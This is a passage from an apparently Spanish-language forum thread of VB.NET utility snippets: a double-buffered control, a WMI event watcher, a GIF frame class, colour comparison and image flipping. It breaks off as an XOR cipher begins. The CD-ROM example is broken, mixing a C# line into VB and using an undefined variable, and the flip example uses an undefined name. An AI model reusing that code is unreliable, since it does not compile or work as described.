''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The creation parameters.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
<EditorBrowsable(EditorBrowsableState.Advanced)>
<Description("The required creation parameters when the control handle is created.")>
Protected Overrides ReadOnly Property CreateParams As CreateParams Implements IBufferedControl.CreateParams
Get
If (Me.preventFlickeringB) Then
Dim cp As CreateParams = MyBase.CreateParams
cp.ExStyle = (cp.ExStyle Or CInt(WindowStylesEx.Composited))
Return cp
Else
Return MyBase.CreateParams
End If
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a value indicating whether this control should redraw its surface using a secondary buffer
''' to reduce or prevent flicker.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' <see langword="True"/> if the surface of the control should be drawn using double buffering;
''' otherwise, <see langword="False"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
<EditorBrowsable(EditorBrowsableState.Always)>
<DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
<Localizable(True)>
<Category("Behavior")>
<Description("Indicates whether this control should redraw its surface using a secondary buffer to reduce or prevent flicker.")>
<DefaultValue(GetType(Boolean), "False")>
Public Overridable Shadows Property DoubleBuffered As Boolean Implements IBufferedControl.DoubleBuffered
Get
Return MyBase.DoubleBuffered
End Get
Set(ByVal value As Boolean)
Me.SetStyle(ControlStyles.DoubleBuffer, value)
MyBase.DoubleBuffered = value
End Set
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a value that indicates whether the control should avoid unwanted flickering effects.
''' <para></para>
''' If <see langword="True"/>, this will avoid any flickering effect on the control, however,
''' it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.
''' <para></para>
''' This negative impact doesn't affect to the performance of the application itself,
''' just to the performance of this control.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that indicates whether the control should avoid unwanted flickering effects.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
<EditorBrowsable(EditorBrowsableState.Always)>
<DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
<Localizable(False)>
<Category("Behavior")>
<Description("Indicates whether the control should avoid unwanted flickering effects. If True, this will avoid any flickering effect on the control, however, it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.")>
<DefaultValue(GetType(Boolean), "False")>
Public Overridable Property PreventFlickering As Boolean Implements IBufferedControl.PreventFlickering
Get
Return Me.preventFlickeringB
End Get
Set(ByVal value As Boolean)
Me.preventFlickeringB = value
End Set
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' A value that indicates whether the control should avoid unwanted flickering effects.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private preventFlickeringB As Boolean
Public Sub New()
MyBase.SuspendLayout()
' MyBase.DoubleBuffered = True
' Me.preventFlickeringB = True
MyBase.ResumeLayout(performLayout:=False)
End Sub
End Class
¿Cómo calcular la distancia (de 2 dimensiones) entre dos puntos?.''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Calculates the distance between two points in two dimensions in the coordinate system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Pythagorean theorem: <see href="http://en.wikipedia.org/wiki/Pythagorean_theorem"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim distance As Double = CalculateDistance2D(New PointF(1, 1), New PointF(2, 2))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pointA">
''' The first point.
''' </param>
'''
''' <param name="pointB">
''' The second point.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting distance.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function CalculateDistance2D(ByVal pointA As PointF, ByVal pointB As PointF) As Double
' Pythagoras theorem: c^2 = a^2 + b^2
' thus c = square root(a^2 + b^2)
Dim a As Double = (pointB.X - pointA.X)
Dim b As Double = (pointB.Y - pointA.Y)
Return Math.Sqrt(a * a + b * b)
End Function
¿Cómo subscribirnos a eventos del sistema?.Microsoft Windows expone una infraestructura llamada WMI (Windows Management Instrumentation) mediante la que provee una serie de classes que podemos utilizar para subscribbirnos a eventos del sistema o dicho coloquiálmente "monitorizar eventos", como por ejemplo cambios de hardware, cambios de aplicaciones instaladas o desinstaladas, cambios en el nivel de batería de un portatil, cambios en el registro de Windows, y un largo etcétera.
La lista de classes podemos encontrarla en MSDN: https://msdn.microsoft.com/en-us/library/aa394554(v=vs.85).aspx (https://msdn.microsoft.com/en-us/library/aa394554(v=vs.85).aspx)
Hay varios tipos de classes, un tipo de classes serían representativas, es decir para representar información de consultas realizadas a WMI, y otro tipo serían las classes de eventos. Una class de evento la utilizariamos para subscribirnos al tipo de evento que provee.
Para subscribirnos a una clase de evento, la librería de clases de .NET Framework espone la clase
ManagementEventWatcher. Yo he desarrollado la siguiente class que hereda de la class
ManagementEventWatcher, con la intención de añadir algunos constructores específicos para facilitar todavía más su uso y abstraer en mayor medida el nivel de complejidad.
' ***********************************************************************
' Author : Elektro
' Modified : 21-March-2017
' ***********************************************************************
#Region " Public Members Summary "
#Region " Constructors "
' New(String)
' New(String, Single)
' New(String, Timespan)
' New(String, String, Single)
' New(String, String, Timespan)
' New(String, String, String(), UInteger)
' New(String, String, String(), Timespan)
' New(SelectQuery)
' New(SelectQuery, Single)
' New(SelectQuery, Timespan)
' New(SelectQuery, UInteger)
#End Region
#Region " Events "
' EventArrived As EventArrivedEventHandler
#End Region
#Region " Methods "
' Start()
' Stop()
' Dispose()
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Management
#End Region
#Region " WMI Event Watcher "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A WMI event monitor that notifies about event arrivals for the subscribed event class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DesignerCategory("code")>
<ImmutableObject(False)>
Public Class WMIEventWatcher : Inherits ManagementEventWatcher
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="WMIEventWatcher"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="eventClassName">
''' The name of the WMI event class to subscribe for.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal eventClassName As String)
Me.New(eventClassName, condition:=String.Empty, withinInterval:=1.0F)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="eventClassName">
''' The name of the WMI event class to subscribe for.
''' </param>
'''
''' <param name="withinInterval">
''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
''' specified class in the <paramref name="eventClassName"/> parameter.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal eventClassName As String,
ByVal withinInterval As Single)
Me.New(eventClassName, condition:=String.Empty, withinInterval:=withinInterval)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="eventClassName">
''' The name of the WMI event class to subscribe for.
''' </param>
'''
''' <param name="withinInterval">
''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
''' specified class in the <paramref name="eventClassName"/> parameter.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal eventClassName As String,
ByVal withinInterval As TimeSpan)
Me.New(eventClassName, condition:=String.Empty, withinInterval:=withinInterval)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="eventClassName">
''' The name of the WMI event class to subscribe for.
''' </param>
'''
''' <param name="condition">
''' The condition to be applied to events of the specified class in the
''' <paramref name="eventClassName"/> parameter.
''' </param>
'''
''' <param name="withinInterval">
''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
''' specified class in the <paramref name="eventClassName"/> parameter.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal eventClassName As String,
ByVal condition As String,
ByVal withinInterval As Single)
Me.New(eventClassName, condition, TimeSpan.FromSeconds(withinInterval))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="eventClassName">
''' The name of the WMI event class to subscribe for.
''' </param>
'''
''' <param name="condition">
''' The condition to be applied to events of the specified class in the
''' <paramref name="eventClassName"/> parameter.
''' </param>
'''
''' <param name="withinInterval">
''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
''' specified class in the <paramref name="eventClassName"/> parameter.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal eventClassName As String,
ByVal condition As String,
ByVal withinInterval As TimeSpan)
MyBase.Query = New WqlEventQuery(eventClassName:=eventClassName,
condition:=condition,
withinInterval:=withinInterval)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="eventClassName">
''' The name of the WMI event class to subscribe for.
''' </param>
'''
''' <param name="condition">
''' The condition to be applied to events of the specified class in the
''' <paramref name="eventClassName"/> parameter.
''' </param>
'''
''' <param name="groupByPropertyList">
''' The properties in the event class by which the events should be grouped.
''' </param>
'''
''' <param name="groupWithinInterval">
''' The interval, in seconds, of the specified interval at which WMI sends one aggregate event,
''' rather than many events.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal eventClassName As String,
ByVal condition As String,
ByVal groupByPropertyList As String(),
ByVal groupWithinInterval As UInteger)
Me.New(eventClassName, condition, groupByPropertyList, TimeSpan.FromSeconds(groupWithinInterval))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="eventClassName">
''' The name of the WMI event class to subscribe for.
''' </param>
'''
''' <param name="condition">
''' The condition to be applied to events of the specified class in the
''' <paramref name="eventClassName"/> parameter.
''' </param>
'''
''' <param name="groupByPropertyList">
''' The properties in the event class by which the events should be grouped.
''' </param>
'''
''' <param name="groupWithinInterval">
''' The interval, in seconds, of the specified interval at which WMI sends one aggregate event,
''' rather than many events.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal eventClassName As String,
ByVal condition As String,
ByVal groupByPropertyList As String(),
ByVal groupWithinInterval As TimeSpan)
MyBase.Query = New WqlEventQuery(eventClassName:=eventClassName,
condition:=condition,
groupWithinInterval:=groupWithinInterval,
groupByPropertyList:=groupByPropertyList)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="query">
''' The WMI select query of the event class to subscribe for.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal query As SelectQuery)
Me.New(query.ClassName, condition:=query.Condition, withinInterval:=1.0F)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="query">
''' The WMI select query of the event class to subscribe for.
''' </param>
'''
''' <param name="withinInterval">
''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
''' specified class in the <paramref name="query"/> parameter.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal query As SelectQuery,
ByVal withinInterval As Single)
Me.New(query.ClassName, condition:=query.Condition, withinInterval:=TimeSpan.FromSeconds(withinInterval))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="query">
''' The WMI select query of the event class to subscribe for.
''' </param>
'''
''' <param name="withinInterval">
''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
''' specified class in the <paramref name="query"/> parameter.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal query As SelectQuery,
ByVal withinInterval As TimeSpan)
Me.New(query.ClassName, condition:=query.Condition, withinInterval:=withinInterval)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="query">
''' The WMI select query of the event class to subscribe for and its selected properties.
''' </param>
'''
''' <param name="groupWithinInterval">
''' The interval, in seconds, of the specified interval at which WMI sends one aggregate event,
''' rather than many events.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal query As SelectQuery,
ByVal groupWithinInterval As UInteger)
Dim strArray As String() = New String(query.SelectedProperties.Count - 1) {}
query.SelectedProperties.CopyTo(strArray, 0)
MyBase.Query = New WqlEventQuery(eventClassName:=query.ClassName,
condition:=query.Condition,
groupWithinInterval:=TimeSpan.FromSeconds(groupWithinInterval),
groupByPropertyList:=strArray)
End Sub
#End Region
End Class
#End RegionEjemplo de uso para subscribirnos a la class
Win32_VolumeChangeEvent, la cual nos informa de cambios de volumen, del montaje y desmontaje de particiones del sistema:
Public NotInheritable Class Form1 : Inherits Form
Private WithEvents eventWatcher As New WMIEventWatcher("Win32_VolumeChangeEvent", withinInterval:=0.5F)
Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles Me.Load
Me.eventWatcher.Scope = New ManagementScope("root\CIMV2", New ConnectionOptions() With {.EnablePrivileges = True})
Me.eventWatcher.Start()
End Sub
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As FormClosingEventArgs) Handles Me.FormClosing
Me.eventWatcher.Dispose()
End Sub
Private Sub EventWatcher_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) _
Handles eventWatcher.EventArrived
Dim driveName As String = CStr(e.NewEvent.Properties("DriveName").Value)
Dim eventType As Integer = CInt(e.NewEvent.Properties("EventType").Value)
Console.WriteLine(String.Format("Drive Name: {0}", driveName))
Console.WriteLine(String.Format("Event Type: {0}", eventType))
End Sub
End ClassEjemplo de uso para subscribirnos a la class
Win32_LogicalDisk, mediante la cual con el uso de una condición en la consulta de WMI, nos reportará cambios de inserción y eyección en dispositivos de CD-ROM:
Public Class Form1 : Inherits Form
Private WithEvents eventWatcher As New WMIEventWatcher(
"__InstanceModificationEvent",
condition:="TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 5",
withinInterval:=0.5F
)
Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles Me.Load
Me.eventWatcher.Scope = New ManagementScope("root\CIMV2", New ConnectionOptions() With {.EnablePrivileges = True})
Me.eventWatcher.Start()
End Sub
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As FormClosingEventArgs) Handles Me.FormClosing
Me.eventWatcher.Dispose()
End Sub
Private Sub EventWatcher_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) Handles eventWatcher.EventArrived
Using mo As ManagementBaseObject = DirectCast(pd.Value, ManagementBaseObject)
Dim name As String = Convert.ToString(mo.Properties("Name").Value)
string label = Convert.ToString(mo.Properties("VolumeName").Value);
Dim di As DriveInfo = (From item In DriveInfo.GetDrives()
Where String.IsNullOrEmpty(item.Name)
).Single()
If Not String.IsNullOrEmpty(di.VolumeLabel) Then
Console.WriteLine(String.Format("CD has been inserted in drive {0}.", di.Name))
Else
Console.WriteLine(String.Format("CD has been ejected from drive {0}.", di.Name))
End If
End Using
End Sub
End ClassNota: No he podido testear el ejemplo del dispositivo CD-ROM.
Todas estas funcionalidades y muchísimas más las podrán encontrar en mi Framework de pago ElektroKit.
¿Cómo manipular imágenes GIF animadas?
La librería de clases de .NET Framework no expone ningún tipo para representar de forma específica una imagen GIF. Tenemos el tipo Bitmap, Icon, e Image para representar de forma global cualquier tipo de imagen (incluyendo un GIF). Pero... ¿y si queremos representar de forma específica una imagen GIF con todos sus frames?, pues esta clase que he desarrollado sería un buen comienzo para llevarlo a cabo:
' ***********************************************************************
' Author : Elektro
' Modified : 02-April-2017
' ***********************************************************************
#Region " Public Members Summary "
#Region " Constructors "
' New(String)
' New(FileInfo)
' New(Image)
#End Region
#Region " Properties "
' Image As Image
' FrameCount As Integer
' Frames(Integer) As Bitmap
' ActiveFrame As Bitmap
' ActiveFrameIndex As Integer
' EndOfFrames As Boolean
#End Region
#Region " Functions "
' NextFrame() As Bitmap
' GetFrames() As List(Of Bitmap)
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.Drawing
Imports System.Drawing.Imaging
Imports System.IO
#End Region
#Region " GIF "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Represents a GIF image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Class GIF
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the GIF image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The GIF image.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Image As Image
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the frame count of the GIF image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The frame count of the GIF image.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property FrameCount As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the frame at the specified index.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The frame index.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Default Public Overridable ReadOnly Property Frames(ByVal index As Integer) As Bitmap
<DebuggerStepperBoundary>
Get
Using img As Image = DirectCast(Me.Image.Clone(), Image)
img.SelectActiveFrame(FrameDimension.Time, index)
Return New Bitmap(img) ' Deep copy of the frame (only the frame).
End Using
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the active frame.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The active frame.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Overridable ReadOnly Property ActiveFrame As Bitmap
<DebuggerStepperBoundary>
Get
Return New Bitmap(Me.Image) ' Deep copy of the frame (only the frame).
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the index in the frame count of the current active frame.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The index in the frame count of the current active frame.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property ActiveFrameIndex As Integer
<DebuggerStepThrough>
Get
Return Me.activeFrameIndexB
End Get
<DebuggerStepperBoundary>
Set(ByVal value As Integer)
If (value <> Me.activeFrameIndexB) Then
Me.Image.SelectActiveFrame(FrameDimension.Time, value)
Me.activeFrameIndexB = value
Me.eof = (value = Me.FrameCount)
End If
End Set
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' The index in the frame count of the current active frame.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private activeFrameIndexB As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value indicating whether the frame count is at EOF,
''' this means there is no more frames to advance in the GIF image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' <see langword="True"/> if there is no more frames to advance in the GIF image; otherwise, <see langword="False"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property EndOfFrames As Boolean
<DebuggerStepThrough>
Get
Return Me.eof
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' A value indicating whether the frame count is at EOF,
''' this means there is no more frames to advance in the GIF image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private eof As Boolean
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="GIF"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="GIF"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The filepath.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal filepath As String)
Me.New(Image.FromFile(filepath))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="GIF"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="file">
''' The image file.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal file As FileInfo)
Me.New(Image.FromFile(file.FullName))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="GIF"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="img">
''' The image.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal img As Image)
Me.Image = img
Me.FrameCount = Me.Image.GetFrameCount(FrameDimension.Time)
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Advances one position in the frame count and returns the next frame.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The next frame.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Function NextFrame() As Bitmap
If (Me.eof) Then
Throw New IndexOutOfRangeException()
Else
Dim frame As Bitmap = Me.Frames(Me.activeFrameIndexB)
Me.activeFrameIndexB += 1
Me.eof = (Me.activeFrameIndexB >= Me.FrameCount)
Return frame
End If
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a <see cref="List(Of Bitmap)"/> containing all the frames in the image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="List(Of Bitmap)"/> containing all the frames in the image.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Function GetFrames() As List(Of Bitmap)
Using img As Image = DirectCast(Me.Image.Clone(), Image)
Return GetFramesFromImage(img)
End Using
End Function
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a <see cref="List(Of Bitmap)"/> containing all the frames in the source GIF image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="img">
''' The source <see cref="Image"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting percentage difference value between the two specified images.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Shared Function GetFramesFromImage(ByVal img As Image) As List(Of Bitmap)
Dim imgs As New List(Of Bitmap)
Dim frameCount As Integer = img.GetFrameCount(FrameDimension.Time)
For i As Integer = 0 To (frameCount - 1)
img.SelectActiveFrame(FrameDimension.Time, i)
imgs.Add(New Bitmap(img)) ' Deep copy of the frame (only the frame).
Next
Return imgs
End Function
#End Region
End Class
#End Region
Ejemplos de uso:
Dim pcb As PictureBox = Me.PictureBox1
Dim gif As New GIF("C:\File.gif")
Do Until gif.EndOfFrames ' Iterate frames until the end of frame count.
' Free previous Bitmap object.
If (pcb.Image IsNot Nothing) Then
pcb.Image.Dispose()
pcb.Image = Nothing
End If
pcb.Image = gif.NextFrame()
Thread.Sleep(60) ' Simulate a FPS thingy.
Application.DoEvents()
If (gif.EndOfFrames) Then
' Set active frame to 0 for infinite loop:
gif.ActiveFrameIndex = 0
End If
Loop
Nótese que el método GIF.GetFrames() devuelve una colección de Bitmaps con todos los frames de la imagen GIF. Las posibilidades son infinitas con esta colección, podemos añadir, editar o eliminar frames para crear un nuevo GIF, o simplemente mostrar la secuencia de frames...
¡Saludos!
Determinar si dos colores son similares
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether two colors are similar.
''' <para></para>
''' It compares the RGB channel differences to match inside the range of the specified tolerance values.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="color1">
''' The first color to compare.
''' </param>
'''
''' <param name="color2">
''' The second color to compare.
''' </param>
'''
''' <param name="toleranceR">
''' The tolerance of the Red color channel.
''' From 0 to 255.
''' </param>
'''
''' <param name="toleranceG">
''' The tolerance of the Green color channel.
''' From 0 to 255.
''' </param>
'''
''' <param name="toleranceB">
''' The tolerance of the Blue color channel.
''' From 0 to 255.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the colors are similar,
''' this means the RGB differences matches inside the range of the specified tolerance value,
''' <see langword="False"/> otherwise.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function IsColorSimilar(ByVal color1 As Color, ByVal color2 As Color,
ByVal toleranceR As Byte, ByVal toleranceG As Byte, ByVal toleranceB As Byte) As Boolean
Return Math.Abs(CInt(color1.R) - color2.R) <= toleranceR AndAlso
Math.Abs(CInt(color1.G) - color2.G) <= toleranceG AndAlso
Math.Abs(CInt(color1.B) - color2.B) <= toleranceB
End Function
Modo de empleo:
Dim areSimilar As Boolean = IsColorSimilar(Color.FromArgb(0, 0, 0), Color.FromArgb(0, 0, 1),
toleranceR:=0, toleranceG:=0, toleranceB:=1)
' Result: True
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether two colors are similar.
''' <para></para>
''' It compares the RGB channel difference to match inside the range of the specified tolerance value.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="color1">
''' The first color to compare.
''' </param>
'''
''' <param name="color2">
''' The second color to compare.
''' </param>
'''
''' <param name="tolerance">
''' The global tolerance of the RGB color channels.
''' From 0 to 255.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the colors are similar,
''' this means the RGB differences matches inside the range of the specified tolerance value,
''' <see langword="False"/> otherwise.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function IsColorSimilar(ByVal color1 As Color, ByVal color2 As Color, ByVal tolerance As Byte) As Boolean
Return (Math.Abs(CInt(color1.R) - color2.R) +
Math.Abs(CInt(color1.G) - color2.G) +
Math.Abs(CInt(color1.B) - color2.B)) <= tolerance
End Function
Modo de empleo :
Dim result1 As Boolean = IsColorSimilar(Color.FromArgb(0, 0, 0), Color.FromArgb(0, 0, 1), tolerance:=1)
' Result: True
' Logic: Blue channel difference = 1, which is equal than the specified tolerance value.
Dim result2 As Boolean = IsColorSimilar(Color.FromArgb(0, 0, 0), Color.FromArgb(0, 1, 1), tolerance:=1)
' Result: False
' Logic: Red channel + Blue channel differences = 2, which is a bigger value than the specified tolerance value.
Voltear una imagen
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a flip type operation to perform for an image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Enum FlipType As Integer
''' <summary>
''' Horizontal flip.
''' </summary>
Horizontal = 1
''' <summary>
''' Vertical flip.
''' </summary>
Vertical = 2
''' <summary>
''' Both a horizontal and vertical flip.
''' </summary>
Both = 3
End Enum
public module ImageExtensions
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Flips an <see cref="Image"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Image"/>.
''' </param>
'''
''' <param name="fliptype">
''' The flip type operation to perform.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Image"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<Extension>
<DebuggerStepThrough>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function Flip(ByVal sender As Image, ByVal fliptype As FlipType) As Image
Dim flippedImage As New Bitmap(sender.Width, sender.Height, sender.PixelFormat)
Using g As Graphics = Graphics.FromImage(flippedImage)
Dim m As Matrix = Nothing
Select Case fliptype
Case FlipType.Horizontal
m = New Matrix(-1, 0, 0, 1, 0, 0)
m.Translate(flippedImage.Width, 0, MatrixOrder.Append)
Case FlipType.Vertical
m = New Matrix(1, 0, 0, -1, 0, 0)
m.Translate(0, flippedImage.Height, MatrixOrder.Append)
Case FlipType.Both
m = New Matrix(-1, 0, 0, -1, 0, 0)
m.Translate(flippedImage.Width, flippedImage.Height, MatrixOrder.Append)
End Select
' Draw
g.Transform = m
g.DrawImage(sender, 0, 0)
'clean up
m.Dispose()
End Using
Return flippedImage
End Function
end module
Modo de empleo:
dim img as image = image.fromfile("C:\file.png")
dim flipped as image= imf.Flip(FlipType.Vertical)
Cifrado XOR
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Encrypts or decrypts a string using XOR algorithm.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="text">
''' The text to encrypt.
''' </param>
'''
